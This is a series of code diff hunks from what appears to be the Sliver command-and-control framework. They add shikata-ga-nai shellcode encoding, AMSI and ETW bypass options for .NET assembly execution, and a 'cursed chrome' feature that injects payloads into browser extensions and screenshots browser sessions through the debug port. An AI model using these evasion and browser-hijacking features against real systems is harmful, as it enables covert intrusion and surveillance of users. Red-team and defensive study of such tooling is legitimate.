port2process[cursedProcess.BindTCPPort] = cursedProcess
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a curse:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
|
||||
return port2process[selectedPortNumber]
|
||||
}
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -57,10 +58,24 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
|
||||
assemblyArgs := ctx.Args.StringList("arguments")
|
||||
process := ctx.Flags.String("process")
|
||||
processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
if len(assemblyArgsStr) > 256 {
|
||||
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
@@ -76,6 +91,10 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Int("ppid")),
|
||||
Runtime: runtime,
|
||||
EtwBypass: etwBypass,
|
||||
AmsiBypass: amsiBypass,
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -44,6 +44,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
|
||||
rwxPages := ctx.Flags.Bool("rwx-pages")
|
||||
interactive := ctx.Flags.Bool("interactive")
|
||||
if interactive && beacon != nil {
|
||||
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
|
||||
@@ -60,8 +61,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
|
||||
if shikataGaNai {
|
||||
if !rwxPages {
|
||||
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
|
||||
return
|
||||
}
|
||||
arch := ctx.Flags.String("architecture")
|
||||
if arch != "386" && arch != "amd64" {
|
||||
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
|
||||
return
|
||||
}
|
||||
iter := ctx.Flags.Int("iterations")
|
||||
con.PrintInfof("Encoding shellcode ...\n")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iter),
|
||||
BadChars: []byte{},
|
||||
Data: shellcodeBin,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
oldSize := len(shellcodeBin)
|
||||
shellcodeBin = resp.GetData()
|
||||
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
|
||||
}
|
||||
|
||||
if interactive {
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
@@ -69,7 +99,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
RWXPages: ctx.Flags.Bool("rwx-pages"),
|
||||
RWXPages: rwxPages,
|
||||
Pid: uint32(pid),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
@@ -281,6 +281,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return nil
|
||||
}
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
|
||||
return nil
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
return nil
|
||||
@@ -636,12 +640,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, errors.New("no file data")
|
||||
}
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
confirm := false
|
||||
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
|
||||
if confirm {
|
||||
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: fileData,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.Printf("success!\n")
|
||||
fileData = resp.GetData()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, generated.File.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
err = ioutil.WriteFile(saveTo, fileData, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
|
||||
@@ -103,6 +103,8 @@ var (
|
||||
consts.ReactionStr: reactionHelp,
|
||||
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
|
||||
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
|
||||
|
||||
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -686,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
|
||||
|
||||
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
|
||||
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
|
||||
`
|
||||
|
||||
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
|
||||
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
|
||||
|
||||
If no extension is specified, Sliver will enumerate all installed extensions, extract their
|
||||
permissions and determine a valid target for injection. For Cursed Chrome to work properly
|
||||
the target extension must have either of these two sets of permissions:
|
||||
|
||||
1. "webRequest" "webRequestBlocking" "<all_urls>"
|
||||
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
|
||||
|
||||
More information: https://github.com/mandatoryprogrammer/CursedChrome
|
||||
`
|
||||
)
|
||||
|
||||
|
||||
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
|
||||
"Remote Address",
|
||||
})
|
||||
for _, p := range portfwds {
|
||||
tw.AppendHeader(table.Row{
|
||||
tw.AppendRow(table.Row{
|
||||
p.ID,
|
||||
p.SessionID,
|
||||
p.BindAddr,
|
||||
|
||||
@@ -19,6 +19,7 @@ package reaction
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
@@ -29,9 +30,10 @@ import (
|
||||
|
||||
// ReactionSaveCmd - Manage reactions to events
|
||||
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
|
||||
reactionPath := GetReactionFilePath()
|
||||
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved reactions to disk\n")
|
||||
con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package sgn
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"io/ioutil"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
|
||||
func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
shellcodeFile := ctx.Args.String("shellcode")
|
||||
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read shellcode file: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
arch := ctx.Flags.String("arch")
|
||||
iterations := ctx.Flags.Int("iterations")
|
||||
rawBadChars := ctx.Flags.String("bad-chars")
|
||||
badChars, err := hex.DecodeString(rawBadChars)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode bad chars: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
|
||||
|
||||
shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iterations),
|
||||
BadChars: badChars,
|
||||
Data: rawShellcode,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
outputFile := ctx.Flags.String("save")
|
||||
if outputFile == "" {
|
||||
outputFile = filepath.Base(shellcodeFile)
|
||||
outputFile += ".sgn"
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write shellcode file: %s", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
|
||||
}
|
||||
@@ -216,6 +216,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
core.GetTunnels().CloseForSession(session.ID)
|
||||
core.CloseCursedProcesses(session.ID)
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
con.PrintEventErrorf("Active session disconnected")
|
||||
|
||||
@@ -236,6 +236,14 @@ const (
|
||||
GetPrivsStr = "getprivs"
|
||||
PreludeOperatorStr = "prelude-operator"
|
||||
ConnectStr = "connect"
|
||||
|
||||
ShikataGaNai = "shikata-ga-nai"
|
||||
|
||||
Cursed = "cursed"
|
||||
CursedChrome = "chrome"
|
||||
CursedConsole = "console"
|
||||
CursedElectron = "electron"
|
||||
CursedEdge = "edge"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/url"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
// SessionID -> CursedProcess
|
||||
CursedProcesses = &sync.Map{}
|
||||
)
|
||||
|
||||
type CursedProcess struct {
|
||||
SessionID string
|
||||
PID uint32
|
||||
BindTCPPort int
|
||||
PortFwd *Portfwd
|
||||
Platform string
|
||||
ExePath string
|
||||
ChromeUserDataDir string
|
||||
}
|
||||
|
||||
func (c *CursedProcess) DebugURL() *url.URL {
|
||||
return &url.URL{
|
||||
Scheme: "http",
|
||||
Host: fmt.Sprintf("localhost:%d", c.BindTCPPort),
|
||||
Path: "/json",
|
||||
}
|
||||
}
|
||||
|
||||
func CursedProcessBySessionID(sessionID string) []*CursedProcess {
|
||||
var cursedProcesses []*CursedProcess
|
||||
CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcess := value.(*CursedProcess)
|
||||
if cursedProcess.SessionID == sessionID {
|
||||
cursedProcesses = append(cursedProcesses, cursedProcess)
|
||||
}
|
||||
return true
|
||||
})
|
||||
return cursedProcesses
|
||||
}
|
||||
|
||||
func CloseCursedProcesses(sessionID string) {
|
||||
CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcess := value.(*CursedProcess)
|
||||
if cursedProcess.SessionID == sessionID {
|
||||
defer func() {
|
||||
value, loaded := CursedProcesses.LoadAndDelete(key)
|
||||
if loaded {
|
||||
curse := value.(*CursedProcess)
|
||||
Portfwds.Remove(curse.PortFwd.ID)
|
||||
}
|
||||
}()
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
|
||||
CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcess := value.(*CursedProcess)
|
||||
if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
|
||||
defer func() {
|
||||
value, loaded := CursedProcesses.LoadAndDelete(key)
|
||||
if loaded {
|
||||
curse := value.(*CursedProcess)
|
||||
Portfwds.Remove(curse.PortFwd.ID)
|
||||
}
|
||||
}()
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2019 Ege Balcı
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2018, b4rtik
|
||||
|
||||
@@ -0,0 +1,300 @@
|
||||
package overlord
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/chromedp/cdproto/page"
|
||||
"github.com/chromedp/cdproto/target"
|
||||
"github.com/chromedp/chromedp"
|
||||
)
|
||||
|
||||
const (
|
||||
// AllURLs - All URLs permission
|
||||
AllURLs = "<all_urls>"
|
||||
|
||||
// AllHTTP - All HTTP permission
|
||||
AllHTTP = "http://*/*"
|
||||
|
||||
// AllHTTPS - All HTTP permission
|
||||
AllHTTPS = "https://*/*"
|
||||
|
||||
// WebRequest - WebRequest permission
|
||||
WebRequest = "webRequest"
|
||||
|
||||
// WebRequestBlocking - WebRequestBlocking permission
|
||||
WebRequestBlocking = "webRequestBlocking"
|
||||
|
||||
// FetchManifestJS - Get extension manifest
|
||||
FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrTargetNotFound - Returned when a target cannot be found
|
||||
ErrTargetNotFound = errors.New("Target not found")
|
||||
)
|
||||
|
||||
// ManifestBackground - An extension manifest file
|
||||
type ManifestBackground struct {
|
||||
Scripts []string `json:"scripts"`
|
||||
Persistent bool `json:"persistent"`
|
||||
}
|
||||
|
||||
// Manifest - An extension manifest file
|
||||
type Manifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Description string `json:"description"`
|
||||
ManifestVersion int `json:"manifest_version"`
|
||||
Permissions []string `json:"permissions"`
|
||||
Background ManifestBackground `json:"background"`
|
||||
}
|
||||
|
||||
// ChromeDebugTarget - A single debug context object
|
||||
type ChromeDebugTarget struct {
|
||||
Description string `json:"description"`
|
||||
DevToolsFrontendURL string `json:"devtoolsFrontendUrl"`
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Type string `json:"type"`
|
||||
URL string `json:"url"`
|
||||
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
|
||||
}
|
||||
|
||||
var allocCtx context.Context
|
||||
|
||||
func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
|
||||
opts := []func(*chromedp.ExecAllocator){
|
||||
chromedp.Flag("restore-last-session", true),
|
||||
chromedp.UserDataDir(userHomeDir),
|
||||
}
|
||||
switch platform {
|
||||
case "darwin":
|
||||
opts = append(opts,
|
||||
chromedp.Flag("headless", false),
|
||||
chromedp.Flag("use-mock-keychain", false),
|
||||
)
|
||||
default:
|
||||
opts = append(opts, chromedp.Headless)
|
||||
}
|
||||
opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
|
||||
return opts
|
||||
}
|
||||
|
||||
func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
|
||||
var (
|
||||
cancel context.CancelFunc
|
||||
)
|
||||
if webSocketURL != "" {
|
||||
allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
|
||||
} else {
|
||||
opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
|
||||
allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
|
||||
}
|
||||
taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
|
||||
return taskCtx, taskCancel, cancel
|
||||
}
|
||||
|
||||
func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
|
||||
targets, err := chromedp.Targets(ctx)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for _, targetInfo := range targets {
|
||||
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
|
||||
return targetInfo
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func contains(haystack []string, needle string) bool {
|
||||
set := make(map[string]struct{}, len(haystack))
|
||||
for _, entry := range haystack {
|
||||
set[entry] = struct{}{}
|
||||
}
|
||||
_, ok := set[needle]
|
||||
return ok
|
||||
}
|
||||
|
||||
func containsAll(haystack []string, needles []string) bool {
|
||||
all := true
|
||||
for _, needle := range needles {
|
||||
if !contains(haystack, needle) {
|
||||
all = false
|
||||
break
|
||||
}
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ExecuteJS - injects a JavaScript code into a target
|
||||
func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
|
||||
targetInfo := findTargetInfoByID(ctx, targetID)
|
||||
if targetInfo == nil {
|
||||
return nil, ErrTargetNotFound
|
||||
}
|
||||
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
|
||||
var result []byte
|
||||
err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
|
||||
return result, err
|
||||
}
|
||||
|
||||
// FindExtensionWithPermissions - Find an extension with a permission
|
||||
func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
|
||||
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, target := range targets {
|
||||
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &Manifest{}
|
||||
err = json.Unmarshal(result, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if containsAll(manifest.Permissions, permissions) {
|
||||
return &target, nil
|
||||
}
|
||||
}
|
||||
return nil, nil // No targets, no errors
|
||||
}
|
||||
|
||||
// FindExtensionsWithPermissions - Find an extension with a permission
|
||||
func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
|
||||
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensions := []*ChromeDebugTarget{}
|
||||
for _, target := range targets {
|
||||
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &Manifest{}
|
||||
err = json.Unmarshal(result, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if containsAll(manifest.Permissions, permissions) {
|
||||
extensions = append(extensions, &target)
|
||||
}
|
||||
}
|
||||
return extensions, nil
|
||||
}
|
||||
|
||||
// QueryDebugTargets - Query debug listener using HTTP client
|
||||
func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
resp, err := http.Get(debugURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Non-200 status code")
|
||||
}
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
debugContexts := []ChromeDebugTarget{}
|
||||
err = json.Unmarshal(data, &debugContexts)
|
||||
return debugContexts, err
|
||||
}
|
||||
|
||||
// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
|
||||
func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
resp, err := http.Get(debugURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Non-200 status code")
|
||||
}
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
debugContexts := []ChromeDebugTarget{}
|
||||
err = json.Unmarshal(data, &debugContexts)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionContexts := []ChromeDebugTarget{}
|
||||
for _, debugCtx := range debugContexts {
|
||||
ctxURL, err := url.Parse(debugCtx.URL)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if ctxURL.Scheme == "chrome-extension" {
|
||||
extensionContexts = append(extensionContexts, debugCtx)
|
||||
}
|
||||
}
|
||||
return extensionContexts, nil
|
||||
}
|
||||
|
||||
// Screenshot - Take a screenshot of a Chrome context
|
||||
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
|
||||
var result []byte
|
||||
screenshotTask := chromedp.Tasks{
|
||||
chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
result, err = page.CaptureScreenshot().
|
||||
WithQuality(quality).
|
||||
WithClip(&page.Viewport{
|
||||
X: contentSize.X,
|
||||
Y: contentSize.Y,
|
||||
Width: contentSize.Width,
|
||||
Height: contentSize.Height,
|
||||
Scale: 1,
|
||||
}).Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}),
|
||||
}
|
||||
|
||||
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
|
||||
defer taskCancel()
|
||||
defer cancel()
|
||||
targetInfo := findTargetInfoByID(taskCtx, targetID)
|
||||
if targetInfo == nil {
|
||||
return []byte{}, ErrTargetNotFound
|
||||
}
|
||||
ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
|
||||
if err := chromedp.Run(ctx, screenshotTask); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
+27
-1
@@ -22,10 +22,10 @@ set -e
|
||||
|
||||
GO_VER="1.18.5"
|
||||
GARBLE_VER="1.18.0"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
GO_ARCH_3="386"
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
|
||||
if ! [ -x "$(command -v curl)" ]; then
|
||||
@@ -165,6 +165,32 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
|
||||
